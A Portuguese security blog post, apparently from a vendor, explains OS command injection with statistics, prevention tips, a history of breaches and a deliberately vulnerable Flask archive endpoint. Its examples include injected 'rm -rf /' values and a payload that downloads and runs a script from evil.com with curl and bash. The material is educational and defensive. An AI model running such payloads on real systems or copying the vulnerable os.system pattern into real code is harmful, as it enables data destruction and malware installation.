Injeção de comando em 2024 desvendada

O que é Injeção de Comando?

A injeção de comando é uma vulnerabilidade ainda muito prevalente em aplicações web, apesar de ser menos famosa que suas primas, a injeção de SQL ou a injeção de código. Se você está familiarizado com outras vulnerabilidades de injeção, reconhecerá o princípio comum: a entrada de usuário não confiável não é validada corretamente, levando à execução de comandos arbitrários do sistema. Essa falha ocorre quando uma entrada não validada é passada para funções de nível de sistema. Então, quão proeminente é a injeção de comando na prática? Analisamos o quão comum é ver essa vulnerabilidade em campo, *spoiler*, é surpreendentemente comum!

Exemplo de Injeção de Comando

Considere este exemplo de injeção de comando: digamos que você tenha uma aplicação onde pode inserir o nome de um arquivo hospedado em um servidor. A aplicação recupera esse arquivo, exibindo seu conteúdo. O código para isso está abaixo

import os

file_name = input("Enter the file name: ")
os.system(f"cat {file_name}")

O código acima espera que um usuário insira um nome de arquivo como file.txt , mas em vez disso, um usuário malicioso injeta algum código para executar comandos maliciosos.

Por exemplo
Nome do arquivo: file.txt; rm -rf /

Essa entrada primeiro exibiria o conteúdo de file.txt e então executaria o comando malicioso rm -rf , que irá apagar forçadamente todos os arquivos em um diretório.

O usuário malicioso pode fazer isso porque a aplicação não validou ou sanitizou a entrada do usuário, tornando a aplicação suscetível à injeção de comando.

Se você quiser um exemplo mais abrangente, consulte o conteúdo bônus no final desta página.

Injeção de Comando em Números: Nossa Pesquisa

• 7% de todas as vulnerabilidades encontradas em projetos de código aberto em 2024 foram de injeção de comando
• 5,8% para projetos de código fechado !
• Um aumento no número total de vulnerabilidades de injeção de comando em projetos de código aberto de 2.348 (2023) para um esperado 2.600 (2024).
• Como porcentagem de todas as vulnerabilidades, a injeção de comando está se tornando menos popular: uma diminuição de 14,6% e 26,4% para projetos de código aberto e fechado, respectivamente, de 2023 para 2024

Nossa pesquisa focou em analisar projetos de código aberto e fechado para revelar quantos continham vulnerabilidades de injeção de comando ocultas.

No geral, o número de vulnerabilidades de injeção de comando é muito alto, com 7% de todas as vulnerabilidades reportadas em projetos de código aberto sendo injeção de comando e 5,8% em projetos de código fechado. Isso é bastante próximo do número de vulnerabilidades de injeção de SQL encontradas.

Há também algumas boas notícias a serem extraídas dos dados: estamos vendo uma tendência sólida de redução dessas vulnerabilidades de 2023 para 2024. Como porcentagem de todas as vulnerabilidades, observamos uma redução de 27% em projetos de código fechado e 14% em código aberto. Provavelmente, muitos fatores contribuem para isso; um fator significativo é que o FBI e a CISA em 2024 apontaram a injeção de comando como uma ameaça real e instaram os fornecedores a prestar atenção a ela. De acordo com os dados, esse aviso foi ouvido.

As boas notícias, infelizmente, param por aí. Ainda estamos vendo um aumento no número geral de vulnerabilidades reportadas em projetos de código aberto. O número total de vulnerabilidades de injeção reportadas em projetos de código aberto passou de 2.348 em 2023 para 2.450 até agora em 2024 (com expectativa de atingir 2.600)

Como Prevenir a Injeção de Comando

Prevenir vulnerabilidades de command injection exige uma abordagem multifacetada:

Validação de Entrada no Lado do Servidor

Um erro comum é realizar apenas validação no lado do cliente, que pode ser contornada por um atacante que faça uma requisição direta.

import subprocess

# Example of restricted input
allowed_files = ['file1.txt', 'file2.txt']
user_input = "file1.txt"  # This should come from user, but is validated

if user_input in allowed_files:
   subprocess.Popen(['ls', '-l', user_input])
else:
   print("Invalid input!")

Evite comandos de shell

Substitua comandos de shell por funções ou bibliotecas nativas da linguagem sempre que possível. Abaixo está um exemplo de como usar o modo somente leitura para abrir um arquivo e ler seu conteúdo.

with open("file.txt", "r") as f:
print(f.read())

Testes Automatizados

Use ferramentas como Aikido analisar o seu código-fonte e a sua aplicação e descobrir essas vulnerabilidades.

Use um firewall incorporado no aplicativo

Uma das melhores defesas contra ataques de injeção é um firewall incorporado no aplicativo que é capaz de capturar e bloquear comandos maliciosos. firewall incorporado no aplicativo Zen Aikidoestá disponível em código aberto e comercial e é capaz de detectar e bloquear ataques de injeção em tempo de execução.

Aplique o Princípio do Menor Privilégio

Configure aplicações e usuários para serem executados com o mínimo de privilégios necessários, reduzindo o dano potencial de explorações.

O caminho a seguir

Command injection, juntamente com muitas vulnerabilidades de injeção, é um desafio. Do ponto de vista tecnológico, resolvemos isso, o que significa que não há necessidade de ter esse tipo de vulnerabilidade em suas aplicações. Com isso em mente, o fato de ainda vermos tantos desses tipos de vulnerabilidades significa que não podemos esperar um salto quântico de melhoria.

Command injection continuará sendo um problema, no entanto, porque vimos uma queda significativa este ano com grandes organizações focando nesta vulnerabilidade. Há esperança de que command injection possa se tornar menos proeminente no futuro se continuarmos a conscientizar sobre isso.

Conteúdo Bônus

Uma História de Command Injection: Violações Notáveis

Command injection tem sido uma ameaça persistente por muito tempo. Na verdade, houve uma vulnerabilidade significativa de command injection presente no bash de 1989 até 2014. Mais recentemente, em 2024, a importância do command injection foi destacada pela CISA e pelo FBI, mostrando que ainda é uma grande preocupação.

1. Primórdios do Command Injection

• Primeiro Uso Conhecido: Vulnerabilidades de command injection surgiram com o advento dos sistemas de computação multiusuário nas décadas de 1970 e 1980, permitindo que atacantes executassem comandos arbitrários por meio de entradas não sanitizadas.
• Décadas de 1980 e 1990: A proliferação de tecnologias web levou ao aumento da exploração de command injection, particularmente através de scripts CGI inadequadamente protegidos.

2. Violações e Exploits Significativos

• 1998: O Primeiro Ataque de Command Injection Baseado na Web Documentado: Uma vulnerabilidade em um script CGI baseado em Perl amplamente utilizado foi explorada, marcando um dos primeiros grandes incidentes de command injection baseado na web.
• 2010: Worm Stuxnet (Command Injection Embarcado): O Stuxnet utilizou command injection para atacar sistemas de controle industrial, demonstrando o alcance da vulnerabilidade para além dos ambientes de TI tradicionais.

3. Anos 2010: Exploração em Escala

• 2014: Vulnerabilidade Shellshock: Shellshock (CVE-2014-6271) explorou o processamento de comandos do Bash, afetando milhões de sistemas em todo o mundo.
• 2018: Exploit de VPN Cisco ASA (CVE-2018-0101): Uma vulnerabilidade de injeção de comando no software ASA da Cisco permitiu a execução remota de código, comprometendo a segurança corporativa.

4. Anos 2020: Exploits Modernos e Tendências

• 2020: Exploit de Gateway Citrix ADC: Atacantes exploraram vulnerabilidades de injeção de comando em sistemas Citrix, resultando em significativas violações de dados.
• 2023: Vulnerabilidade MOVEit (SQL e Injeção de Comando): Uma falha de injeção de comando no software MOVEit Transfer levou a violações de dados generalizadas em várias organizações.

Vulnerabilidade realista de injeção de comando

O Código Vulnerável

Vamos analisar um exemplo um pouco mais complexo de injeção de comando. Abaixo está um trecho de código para uma aplicação web Python simples. Ele permite que os usuários criem um arquivo ZIP de arquivos especificados enviando uma requisição POST para a /archive rota.

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/archive', methods=['POST'])
def archive_files():
   files = request.form.get('files')  # User provides file names to archive
   archive_name = request.form.get('archive_name')  # User provides archive name
   
   command = f"zip {archive_name}.zip {files}"  # Command built dynamically
   os.system(command)  # Execute the system command

   return f"Archive {archive_name}.zip created successfully!"
if __name__ == "__main__":
   app.run(debug=True)

Como Funciona

O usuário fornece:

• files (por exemplo, file1.txt file2.txt) para especificar quais arquivos incluir no arquivo compactado.
• archive_name para especificar o nome do arquivo zip resultante.

O código constrói um comando shell dinamicamente:

1. zip archive_name.zip file1.txt file2.txt

2. A os.system() função executa o comando, permitindo que as entradas fornecidas pelo usuário ditem seu comportamento.

Exploração

Um atacante explora isso injetando comandos adicionais no(s) archive_name ou files inputs.

Input Fornecido pelo Atacante:

• archive_name: my_archive; rm -rf /
• files: file1.txt

O Comando Resultante:

zip my_archive.zip file1.txt; rm -rf /

1. zip my_archive.zip file1.txt: Cria um arquivo como esperado.
2. ; rm -rf /: Exclui todos os arquivos no servidor executando um comando destrutivo separado.

Um Exemplo Mais Sofisticado

O atacante pode explorar isso para baixar malware ou exfiltrar dados:

archive_name: archive; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Comando Resultante:

zip archive.zip file1.txt; curl -o malware.sh http://evil.com/malware.sh; bash malware.sh

Este comando:

1. Cria um arquivo (zip archive.zip file1.txt).
2. Baixa código malicioso (curl -o malware.sh http://evil.com/malware.sh).
3. Executa o malware (bash malware.sh).